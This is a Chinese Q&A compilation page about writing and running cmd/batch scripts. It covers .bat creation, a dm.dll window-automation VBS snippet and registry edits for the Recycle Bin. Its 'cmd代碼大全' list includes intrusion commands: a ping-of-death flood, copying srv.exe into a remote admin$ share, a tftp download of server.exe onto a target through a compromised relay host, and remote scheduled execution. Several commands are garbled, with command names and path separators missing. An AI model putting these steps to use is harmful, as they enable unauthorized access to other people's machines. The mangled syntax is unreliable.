當前位置:首頁 » 網頁前端 » cmd腳本
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

cmd腳本

發布時間: 2022-02-13 23:25:45

① 求簡單的 CMD腳本製作方法 (有DOS命令)

新建一個文本文件,寫進去,保存時選擇保存類型為所有文件,擴展名為.bat

② 如何用cmd運行按鍵精靈腳本

按鍵精靈自己就提供生成小精靈模式吧,可以直接運行。

如果你有編程基礎,那其實可以拋開按鍵精靈環境,自己寫腳本,去下載個大漠插件dm.dll,他最初是給按鍵精靈做插件的,後來獨立出來了,非常好用,跟按鍵的風格無縫銜接,都是vb類腳本,vbs,vb或者vb.net都可以直接調用的

setdm=createobject("dm.dmsoft")
TracePrintdm.Ver()
hwnd=dm.GetMousePointWindow()
dm_ret=dm.BindWindow(hwnd,"dx2","dx2","dx",0)
TracePrintdm_ret
dm.MoveTo0,0
Delay100
TracePrintdm.GetCursorShape()//下面這句是輸出當前滑鼠熱點位置(同樣支持後台)
TracePrintdm.GetCursorSpot()
dm_ret=dm.FindStrFast(0,0,2000,2000,"長安|洛陽","9f2e3f-000000",0.9,intX,intY)
IfintX>=0andintY>=0Then
dm.MoveTointX,intY
dm.LeftClick
EndIf
dm_ret=dm.UnBindWindow()

支持全後台無痕操控,感興趣可以試試看。

③ 把cmd命令寫成腳本

把你的命令一行一行寫進txt文本,將文本的後綴名改為吧bat即可。(有些人用電腦是隱藏了後綴名的,那要麼你重新設置顯示後綴,要麼在txt里點另存為,格式選全部,文件名以.bat結尾。)

④ cmd代碼大全

ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件
del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符路徑要移動的文件名存放移動文件的路徑移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑文件名1路徑文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:srv.exe ipadmin$ 復制本地c:srv.exe到對方的admin下
1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
ipadmin$svv.exe c: 或:ipadmin$*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹目標地址目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
用參數/e才可連目錄下的子目錄一起復制到目標地址下。
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:server.exe 登陸後,將「IP」的server.exe下載到目標主機c:server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IPput c:server.exe 登陸後,上傳本地c:server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:、D:統一改為:EntSky )
ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md目錄名 創建目錄
replace 源文件要替換文件的目錄 替換文件
ren 原文件名新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D: est.txt /D pub 設定d: est.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

⑤ 我要做一個運行cmd指令的BAT文件,要怎麼在bat內輸入內容

1、首先需要知道運行bat時隱藏cmd窗口,可以使用vbs文件來做,將vbs文件和bat文件放在一塊,如下圖所示。

⑥ cmd怎麼執行dos下的bat文件

新建一個.bat批處理文件,文件命令為@ECHO OFF cmd /k cd /d c:\data 運行該批處理文件cmd就可進入指定的文件夾
新建一個.bat批處理文件,文件里命令:
@ECHO OFF
cmd /k cd /d c:\data

然後運行該批處理文件cmd就可進入指定的 「c:\data」目錄下。
參考:
cmd /k的含義
Microsoft DOS cmd and command
Bat命令學習 (實用)

⑦ 求CMD指令一些好玩的東西。。

指令好玩的示例以下:

  1. 用字元組成的星球大戰動畫,具體是輸入:

    telnet towel.blinkenlights.nl。

    ⑧ cmd怎麼執行sql腳本

    先使用cmd連接並打開資料庫,然後才能執行SQL腳本。

    ⑨ 如何製作一個自動運行CMD命令的程序

    1、製作一個簡單的bat腳本,腳本內容下圖有。

    ⑩ CMD腳本文件

    新建文本文檔一個,在裡面寫上如下代碼:

    @echo off
    reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /f

    然後另存為 隱藏回收站.cmd
    想要隱藏回收站時雙擊它即可,如果想顯示回收站,同理製作 顯示回收站.cmd ,代碼為:

    @echo off
    reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace\{645FF040-5081-101B-9F08-00AA002F954E} /ve /d "Recycle Bin" /f

    ---------------解釋(此行及以下部分不包括在CMD腳本文件中)-----------
    :::::::::reg delete:
    REG DELETE KeyName [/v ValueName | /ve | /va] [/f]

    KeyName [\\Machine\]FullKey
    Machine 遠程機器名 - 忽略當前機器的默認值
    遠程機器上只有 HKLM 和 HKU
    FullKey ROOTKEY\SubKey
    ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
    SubKey 所選 ROOTKEY 下的注冊表項的全名
    ValueName 所選項下的要刪除的值的名稱
    省略時,該項下的所有子項和值都會被刪除
    /ve 刪除空白值名稱<no name>的值
    /va 刪除該項下的所有值
    /f 不用提示就強行刪除

    例如:

    REG DELETE HKLM\Software\MyCo\MyApp\Timeout
    刪除注冊表項 Timeout 及其所有子項和值

    REG DELETE \\ZODIAC\HKLM\Software\MyCo /v MTU
    刪除 ZODIAC 上 MyCo 下的注冊表項 MTU

    ::::::::::::::::::::reg add:
    REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f]

    KeyName [\\Machine\]FullKey
    遠程機器的機器名 - 忽略默認到當前機器。
    遠程機器上只有 HKLM 和 HKU。
    FullKey ROOTKEY\SubKey
    ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
    SubKey 所選 ROOTKEY 下注冊表項的完整名

    /v 所選項之下要添加的值名

    /ve 為注冊表項添加空白值名<無名稱>

    /t RegKey 數據類型
    [ REG_SZ | REG_MULTI_SZ | REG_DWORD_BIG_ENDIAN |
    REG_DWORD | REG_BINARY | REG_DWORD_LITTLE_ENDIAN |
    REG_NONE | REG_EXPAND_SZ ]
    如果忽略,則採用 REG_SZ

    /s 指定一個在 REG_MULTI_SZ 數據字元串中
    用作分隔符的字元
    如果忽略,則將 "\0" 用作分隔符

    /d 要分配給添加的注冊表 ValueName 的數據

    /f 不用提示就強行改寫現有注冊表項

    例如:

    REG ADD \\ABC\HKLM\Software\MyCo
    添加遠程機器 ABC 上的一個注冊表項 HKLM\Software\MyCo

    REG ADD HKLM\Software\MyCo /v Data /t REG_BINARY /d fe340ead
    添加一個值(名稱: Data,類型: REG_BINARY,數據: fe340ead)

    REG ADD HKLM\Software\MyCo /v MRU /t REG_MULTI_SZ /d fax\0mail
    添加一個值(名稱: MRU,類型: REG_MUTLI_SZ,數據: fax\0mail\0\0)

    REG ADD HKLM\Software\MyCo /v Path /t REG_EXPAND_SZ /d %%systemroot%%
    添加一個值(名稱: Path,類型: REG_EXPAND_SZ,數據: %systemroot%)
    注意: 在擴充字元串中使用雙百分比符號( %% )